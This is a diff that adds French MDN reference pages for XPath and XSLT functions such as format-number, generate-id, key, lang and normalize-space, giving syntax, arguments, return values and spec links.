+<pre class="eval">floor(<i>nombre</i> )
+</pre>
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+<dl>
+ <dt>
+  <code>
+  <i>
+   nombre</i>
+  </code></dt>
+ <dd>
+  Le nombre décimal à évaluer.</dd>
+</dl>
+<h3 id="Retour" name="Retour">Retour</h3>
+<p>Le plus grand nombre entier inférieur ou égal à <code>
+ <i>
+  nombre</i>
+ </code>.</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-floor">XPath 1.0, section 4.4</a>.</p>
+<h3 id="Support_Gecko" name="Support_Gecko">Support Gecko</h3>
+<p>Supportée.</p>
diff --git a/files/fr/web/xpath/fonctions/format-number/index.html b/files/fr/web/xpath/fonctions/format-number/index.html
new file mode 100644
index 0000000000..a9027215bc
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/format-number/index.html
@@ -0,0 +1,38 @@
+---
+title: format-number
+slug: Web/XPath/Fonctions/format-number
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/format-number
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>format-number</code> évalue un nombre et retourne une chaîne représentant le nombre dans un format donné.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">format-number( <i>nombre</i> , <i>motif</i> [, <i>format-décimal</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>nombre</i></code>
+</dt><dd>Le nombre à formater.
+</dd></dl>
+<dl><dt><code><i>motif</i></code>
+</dt><dd>Une chaîne au format de la classe <a href="http://java.sun.com/products/jdk/1.1/docs/api/java.text.DecimalFormat.html" class="external">Decimal Format (en)</a> du JDK 1.1. La notice du JDK 1.1 n'est plus disponible. Vous trouverez ici la notice pour le JSE 6: <a href="http://java.sun.com/javase/6/docs/api/java/text/DecimalFormat.html" class="external">Decimal Format (en)</a>
+</dd></dl>
+<dl><dt><code><i>format-décimal</i></code> (optionnel)
+</dt><dd>Le nom d'un élément <code><a href="fr/XSLT/decimal-format"> xsl:decimal-format</a></code> qui définit le format de nombre à utiliser. Si il est omis, le format décimal par défaut est utilisé.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne représentant le nombre dans le nouveau format.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<p>Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-format-number" class="external">XSLT 1.0, section 12.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/format-number", "pl": "pl/XPath/Funkcje/format-number" } ) }}
diff --git a/files/fr/web/xpath/fonctions/function-available/index.html b/files/fr/web/xpath/fonctions/function-available/index.html
new file mode 100644
index 0000000000..cfde97a7a5
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/function-available/index.html
@@ -0,0 +1,29 @@
+---
+title: function-available
+slug: Web/XPath/Fonctions/function-available
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/function-available
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>function-available</code> détermine si une fonction donnée est disponible et retourne le booléen <code>true</code> ou <code>false</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">function-available( <i>nom</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>nom</i></code>
+</dt><dd>Le nom de la fonction à tester.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>La valeur booléenne <code>true</code> ou <code>false</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-function-available" class="external">XPath 1.0, section 15</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/function-available", "pl": "pl/XPath/Funkcje/function-available" } ) }}
diff --git a/files/fr/web/xpath/fonctions/generate-id/index.html b/files/fr/web/xpath/fonctions/generate-id/index.html
new file mode 100644
index 0000000000..69c5e6e277
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/generate-id/index.html
@@ -0,0 +1,36 @@
+---
+title: generate-id
+slug: Web/XPath/Fonctions/generate-id
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/generate-id
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>generate-id</code> génère un identifiant <code>id</code> unique pour le premier nœud d'un ensemble de nœuds donné et retourne une chaîne contenant cet <code>id</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">generate-id( [<i>ensemble-de-nœuds</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>ensemble-de-nœuds</i></code> (optionnel)
+</dt><dd>Un <code>id</code> sera généré pour le premier nœud de cet ensemble de nœuds. S'il est omis, le nœud de contexte courant sera utilisé.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne contenant l'<code>id</code> généré.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Le même <code>id</code> doit être généré à chaque fois pour le même nœud dans le document courant pour la transformation courante.
+</li></ul>
+<ul><li> L'<code>id</code> généré peut ne pas être le même pour les transformations subséquentes.
+</li></ul>
+<p>Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-generate-id" class="external">XSLT 1.0, section 12.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/generate-id", "pl": "pl/XPath/Funkcje/generate-id" } ) }}
diff --git a/files/fr/web/xpath/fonctions/id/index.html b/files/fr/web/xpath/fonctions/id/index.html
new file mode 100644
index 0000000000..587bdf6e03
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/id/index.html
@@ -0,0 +1,37 @@
+---
+title: id
+slug: Web/XPath/Fonctions/id
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/id
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>id</code> recherche les nœuds correspondant aux identifiants <code>id</code> donnés et retourne un ensemble de nœuds contenant les nœuds identifiés.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">id( <i>expression</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>expression</i></code>
+</dt><dd>Si <code><i>expression</i></code> est un ensemble de nœuds, alors la valeur de la chaîne de chacun des nœuds de l'ensemble est traitée individuellement. Les nœuds retournés sont ceux corespondant à ces identifiants <code>id</code>.
+</dd></dl>
+<dl><dd>Si <code><i>expression</i></code> est une chaîne, ou n'importe quoi d'autre qu'un ensemble de nœuds, alors <code><i>expression</i></code> est traitée comme une liste d'identifiants <code>id</code> séparés par des espaces L'ensemble de nœuds retourné comprend les nœuds corespondant à ces identifiants <code>id</code>.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un ensemble de nœuds contenant les nœuds identifiés par les <code>id</code> donnés.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> La DTD du document XML détermine quel attribut est un <code>id</code>. Voir <a href="http://www.w3.org/TR/xpath#unique-id" class="external">XPath 1.0, section 5.2.1</a>.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-id" class="external">XPath 1.0, section 4.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Partiellement supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/id", "ja": "ja/XPath/Functions/id", "pl": "pl/XPath/Funkcje/id" } ) }}
diff --git a/files/fr/web/xpath/fonctions/index.html b/files/fr/web/xpath/fonctions/index.html
new file mode 100644
index 0000000000..3c0b92453f
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/index.html
@@ -0,0 +1,54 @@
+---
+title: Fonctions
+slug: Web/XPath/Fonctions
+tags:
+  - Référence_XPath
+  - Référence_XSLT
+  - XPath
+translation_of: Web/XPath/Functions
+---
+<p> </p>
+<p>{{ XsltRef() }} La liste ci-dessous regroupe les principales fonctions de <a href="XPath">XPath</a> et les ajouts à XPath qui sont spécifiques à <a href="/XSLT">XSLT</a>. Chaque lien fournit pour la fonction correspondante description, syntaxe, liste d'arguments, types de résultats, description originelle dans les recommandations du W3C, et niveau de support actuel dans <a href="/Gecko">Gecko</a>. Pour plus d'informations sur l'utilisation des fonctions XPath/XSLT, reportez-vous à la page <a href="/Transformations_XML_avec_XSLT/Autres_ressources">Autres ressources</a>.</p>
+<ul>
+  <li><a href="Fonctions/boolean">boolean()</a></li>
+  <li><a href="Fonctions/ceiling">ceiling()</a></li>
+  <li><a href="Fonctions/concat">concat()</a></li>
+  <li><a href="Fonctions/contains">contains()</a></li>
+  <li><a href="Fonctions/count">count()</a></li>
+  <li><a href="Fonctions/current">current()</a> <i>Spécifique à XSLT</i></li>
+  <li><a href="Fonctions/document">document()</a> <i>Spécifique à XSLT</i></li>
+  <li><a href="Fonctions/element-available">element-available()</a></li>
+  <li><a href="Fonctions/false">false()</a></li>
+  <li><a href="Fonctions/floor">floor()</a></li>
+  <li><a href="Fonctions/format-number">format-number()</a> <i>Spécifique à XSLT</i></li>
+  <li><a href="Fonctions/function-available">function-available()</a></li>
+  <li><a href="Fonctions/generate-id">generate-id()</a> <i>Spécifique à XSLT</i></li>
+  <li><a href="Fonctions/id">id()</a> <i>(partiellement supporté)</i></li>
+  <li><a href="Fonctions/key">key()</a> <i>Spécifique à XSLT</i></li>
+  <li><a href="Fonctions/lang">lang()</a></li>
+  <li><a href="Fonctions/last">last()</a></li>
+  <li><a href="Fonctions/local-name">local-name()</a></li>
+  <li><a href="Fonctions/name">name()</a></li>
+  <li><a href="Fonctions/namespace-uri">namespace-uri()</a></li>
+  <li><a href="Fonctions/normalize-space">normalize-space()</a></li>
+  <li><a href="Fonctions/not">not()</a></li>
+  <li><a href="Fonctions/number">number()</a></li>
+  <li><a href="Fonctions/position">position()</a></li>
+  <li><a href="Fonctions/round">round()</a></li>
+  <li><a href="Fonctions/starts-with">starts-with()</a></li>
+  <li><a href="Fonctions/string">string()</a></li>
+  <li><a href="Fonctions/string-length">string-length()</a></li>
+  <li><a href="Fonctions/substring">substring()</a></li>
+  <li><a href="Fonctions/substring-after">substring-after()</a></li>
+  <li><a href="Fonctions/substring-before">substring-before()</a></li>
+  <li><a href="Fonctions/sum">sum()</a></li>
+  <li><a href="Fonctions/system-property">system-property()</a> <i>Spécifique à XSLT</i></li>
+  <li><a href="Fonctions/translate">translate()</a></li>
+  <li><a href="Fonctions/true">true()</a></li>
+  <li><a href="Fonctions/unparsed-entity-url">unparsed-entity-url()</a> <i>Spécifique à XSLT</i> <i>(non supporté)</i></li>
+</ul>
+<p><span class="comment">Interwiki Languages Links</span></p>
+<p> </p>
+<div class="noinclude">
+   </div>
+<p>{{ languages( { "en": "en/XPath/Functions", "ja": "ja/XPath/Functions", "pl": "pl/XPath/Funkcje", "zh-cn": "cn/XPath/Functions" } ) }}</p>
diff --git a/files/fr/web/xpath/fonctions/key/index.html b/files/fr/web/xpath/fonctions/key/index.html
new file mode 100644
index 0000000000..48dc4c49f5
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/key/index.html
@@ -0,0 +1,37 @@
+---
+title: key
+slug: Web/XPath/Fonctions/key
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/key
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>key</code> retourne un ensemble de nœuds ayant la valeur donnée pour la clef donnée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">key( <i>nom-de-clef</i> , <i>valeur</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>nom-de-clef</i></code>
+</dt><dd>Une chaîne contenant le nom de l'élément <code><a href="fr/XSLT/key"> xsl:key</a></code> à utiliser.
+</dd></dl>
+<dl><dt><code><i>valeur</i></code>
+</dt><dd>L'ensemble de nœuds retourné contiendra chaque nœud qui possède cette valeur pour la clef donnée.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un ensemble de nœuds.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> L'élément <code><a href="fr/XSLT/key"> xsl:key</a></code> définit quel attribut de quels éléments donnés sera utilisé pour la comparaison.
+</li></ul>
+<p>Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath principale.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-key" class="external">XSLT 1.0, section 12.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XPath/Functions/key", "pl": "pl/XPath/Funkcje/key" } ) }}
diff --git a/files/fr/web/xpath/fonctions/lang/index.html b/files/fr/web/xpath/fonctions/lang/index.html
new file mode 100644
index 0000000000..6ce39f2dc1
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/lang/index.html
@@ -0,0 +1,56 @@
+---
+title: lang
+slug: Web/XPath/Fonctions/lang
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/lang
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>lang</code> détermine si le nœud de contexte correspond à la langue indiquée et retourne le booléen <code>true</code> ou <code>false</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">lang( <i>chaîne</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>chaîne</i></code>
+</dt><dd>Le code de langue ou de localisation (langue et pays) à vérifier.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p><code>true</code> si le noeud de contexte est dans la langue donnée, <code>false</code> autrement.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> La langue d'un nœud est déterminée par son attribut <code>xml:lang</code>. Si le nœud courant ne possède pas cet attribut, alors la valeur de l'attribut <code>xml:lang</code> du plus proche ancêtre le possédant déterminera la langue du nœud courant. Si la langue ne peut être déterminée (aucun ancêtre avec un attribut <code>xml:lang</code>), cette fonction retourne le booléen <code>false</code>.
+</li></ul>
+<ul><li> Si la <code><i>chaîne</i></code> donnée ne spécifie pas de code de pays, cette fonction sélectionnera les nœuds dans la langue spécifiée, suivie éventuellement de n'importe quel code de pays. La réciproque n'est pas vraie.
+</li></ul>
+<p>Regardons le code XML suivant :
+</p>
+<pre>&lt;p xml:lang="en"&gt;I went up a floor.&lt;/p&gt;
+&lt;p xml:lang="en-GB"&gt;I took the lift.&lt;/p&gt;
+&lt;p xsl:lang="en-US"&gt;I rode the elevator.&lt;/p&gt;</pre>
+<p>et ce modèle XSL :
+</p>
+<pre class="eval">&lt;xsl:value-of select="count(//p[lang('en')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-GB')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-US')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('de')])" /&gt;
+</pre>
+<p>La sortie sera :
+</p>
+<pre class="eval">3
+1
+1
+0
+</pre>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-lang" class="external">XPath 1.0, section 4.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/lang", "ja": "ja/XPath/Functions/lang", "pl": "pl/XPath/Funkcje/lang" } ) }}
diff --git a/files/fr/web/xpath/fonctions/last/index.html b/files/fr/web/xpath/fonctions/last/index.html
new file mode 100644
index 0000000000..2482ff891f
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/last/index.html
@@ -0,0 +1,31 @@
+---
+title: last
+slug: Web/XPath/Fonctions/last
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/last
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>last</code> retourne un nombre égal à la taille du contexte dans le contexte d'évaluation d'expression.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">last()
+</pre>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Un entier égal à la taille du contexte dans le contexte d'évaluation d'expression.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Cette fonction est souvent utilisée avec la fonction <a href="fr/XPath/Fonctions/position">position()</a> pour déterminer si un nœud particulier est le dernier d'un ensemble de nœud.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-last" class="external">XPath 1.0, section 4.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/last", "ja": "ja/XPath/Functions/last", "pl": "pl/XPath/Funkcje/last" } ) }}
diff --git a/files/fr/web/xpath/fonctions/local-name/index.html b/files/fr/web/xpath/fonctions/local-name/index.html
new file mode 100644
index 0000000000..6eeb89c283
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/local-name/index.html
@@ -0,0 +1,35 @@
+---
+title: local-name
+slug: Web/XPath/Fonctions/local-name
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/local-name
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>local-name</code> retourne une chaîne représentant le nom local du premier nœud d'un ensemble de nœuds donné.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">local-name( [<i>ensemble-de-nœuds</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>ensemble-de-nœuds</i></code> (optionnel)
+</dt><dd>Le nom local du premier nœud de cet ensemble de nœuds sera retourné. Si cet argument est omis, le nœud de contexte courant sera utilisé.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Le nom local est la partie locale d'un <a href="http://www.w3.org/TR/xpath#dt-expanded-name" class="external">nom étendu</a>.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0, section 4.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/local-name", "ja": "ja/XPath/Functions/local-name", "pl": "pl/XPath/Funkcje/local-name" } ) }}
diff --git a/files/fr/web/xpath/fonctions/name/index.html b/files/fr/web/xpath/fonctions/name/index.html
new file mode 100644
index 0000000000..f84ecace25
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/name/index.html
@@ -0,0 +1,35 @@
+---
+title: name
+slug: Web/XPath/Fonctions/name
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/name
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>name</code> retourne une chaîne représentant le QName du premier nœud d'un ensemble de nœuds donné.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">name( [<i>ensemble-de-nœuds</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>ensemble-de-nœuds</i></code> (optionnel)
+</dt><dd>Le QName du premier nœud de cet ensemble de nœuds sera retourné. Si cet argument est omis, le nœud de contexte courant sera utilisé.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne représentant le QName d'un nœud.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Le <a href="http://www.w3.org/TR/REC-xml-names/#NT-QName" class="external">QName</a> est le <i>nom qualifié</i> du nœud, incluant le préfixe de son espace de nommage et son nom local.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0, section 4.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/name", "ja": "ja/XPath/Functions/name", "pl": "pl/XPath/Funkcje/name" } ) }}
diff --git a/files/fr/web/xpath/fonctions/namespace-uri/index.html b/files/fr/web/xpath/fonctions/namespace-uri/index.html
new file mode 100644
index 0000000000..40bbbacd5e
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/namespace-uri/index.html
@@ -0,0 +1,37 @@
+---
+title: namespace-uri
+slug: Web/XPath/Fonctions/namespace-uri
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/namespace-uri
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>namespace-uri</code> retourne une chaîne représentant l'URI de l'espace de nommage du premier nœud d'un ensemble de nœuds donné.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">namespace-uri( [<i>ensemble-de-nœuds</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>ensemble-de-nœuds</i></code> (optionnel)
+</dt><dd>L'URI de l'espace de nommage du premier nœud de cet ensemble de nœuds sera retournée. Si cet argument est omis, le nœud de contexte courant sera utilisé.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Une chaîne représentant l'URI de l'espace de nommage dans lequel se trouve le nœud donné.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> S'il n'y a pas d'espace de nommage spécifié pour le noeud donné, la chaîne retournée sera une chaîne vide.
+</li></ul>
+<ul><li> Pour les nœuds autres que les nœuds <code>element</code> et <code>attribute</code>, la chaîne retournée sera toujours une chaîne vide.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0, section 4.1</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri", "pl": "pl/XPath/Funkcje/namespace-uri" } ) }}
diff --git a/files/fr/web/xpath/fonctions/normalize-space/index.html b/files/fr/web/xpath/fonctions/normalize-space/index.html
new file mode 100644
index 0000000000..6ca26b2e90
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/normalize-space/index.html
@@ -0,0 +1,41 @@
+---
+title: normalize-space
+slug: Web/XPath/Fonctions/normalize-space
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/normalize-space
+---
+<p>{{ XsltRef() }}</p>
+
+<p><br>
+ La fonction <code>normalize-space</code> supprime les espaces de début et de fin d'une chaîne et remplace les successions d’espaces par une seule puis retourne la chaîne résultante.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval notranslate">normalize-space(<em>chaîne</em> )
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code><em>chaîne</em></code></dt>
+ <dd>La chaîne à normaliser.</dd>
+</dl>
+
+<h3 id="Retour" name="Retour">Retour</h3>
+
+<p>La chaîne nomalisée.</p>
+
+<h3 id="D.C3.A9finition" name="D.C3.A9finition">Définition</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-normalize-space">XPath 1.0, section 4.2</a>.</p>
+
+<h3 id="Support_Gecko" name="Support_Gecko">Support Gecko</h3>
+
+<p>Supportée.</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/XPath/Functions/normalize-space", "ja": "ja/XPath/Functions/normalize-space", "pl": "pl/XPath/Funkcje/normalize-space" } ) }}</p>
diff --git a/files/fr/web/xpath/fonctions/not/index.html b/files/fr/web/xpath/fonctions/not/index.html
new file mode 100644
index 0000000000..49521ba9a2
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/not/index.html
@@ -0,0 +1,35 @@
+---
+title: not
+slug: Web/XPath/Fonctions/not
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/not
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>not</code> évalue une expression booléenne et retourne la valeur opposée.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">not( <i>expression</i> )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><code><i>expression</i></code> (optionnel)
+</dt><dd>L'expression est évaluée exactement comme si elle était passée en tant qu'argument à la fonction <a href="fr/XPath/Fonctions/boolean"> boolean()</a>.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p><code>True</code> pour une expression évaluée à <code>false</code> ; <code>false</code> pour une expression évaluée à <code>true</code>.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Cette fonction devrait se comporter de façon identique à la fonction <a href="fr/XPath/Fonctions/boolean"> boolean()</a>, excepté qu'elle retourne la valeur opposée.
+</li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-not" class="external">XPath 1.0, section 4.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/not", "ja": "ja/XPath/Functions/not", "pl": "pl/XPath/Funkcje/not" } ) }}
diff --git a/files/fr/web/xpath/fonctions/number/index.html b/files/fr/web/xpath/fonctions/number/index.html
new file mode 100644
index 0000000000..c230413856
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/number/index.html
@@ -0,0 +1,35 @@
+---
+title: number
+slug: Web/XPath/Fonctions/number
+tags:
+  - Référence_XSLT
+translation_of: Web/XPath/Functions/number
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+La fonction <code>number</code> convertit un objet en un nombre et retourne ce nombre.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">number( [<i>objet</i>] )
+</pre>
+<h3 id="Arguments" name="Arguments"> Arguments </h3>
+<dl><dt><i><code>objet</code></i> (optionnel)
+</dt><dd>L'objet à convertir en nombre.
+</dd></dl>
+<h3 id="Retour" name="Retour"> Retour </h3>
+<p>Le nombre résultant après conversion de l'objet.
+</p>
+<h3 id="Notes" name="Notes"> Notes </h3>
+<ul><li> Les chaînes sont converties en nombre en enlevant les espaces précédant le nombre dans la chaîne et en ignorant tout ce qui suit le nombre. Si la chaîne ne correspond pas à ce motif, alors elle est convertie en <code>NaN</code> </li><li> Le booléen <code>true</code> est converti en 1. <code>False</code> est converti en 0. </li><li> Un ensemble de nœuds est d'abord converti en chaîne comme lors d'un appel à la fonction <a href="fr/XPath/Fonctions/string">string()</a> puis il est traité de la même façon qu'une chaîne.
+</li><li> Un objet qui n'est pas d'un des quatre types de base est converti en nombre avec une méthode qui dépend de son type. </li></ul>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-number" class="external">XPath 1.0, section 4.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supportée.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/number", "ja": "ja/XPath/Functions/number", "pl": "pl/XPath/Funkcje/number" } ) }}
diff --git a/files/fr/web/xpath/fonctions/position/index.html b/files/fr/web/xpath/fonctions/position/index.html
new file mode 100644
index 0000000000..fb746d8286
--- /dev/null
+++ b/files/fr/web/xpath/fonctions/position/index.html
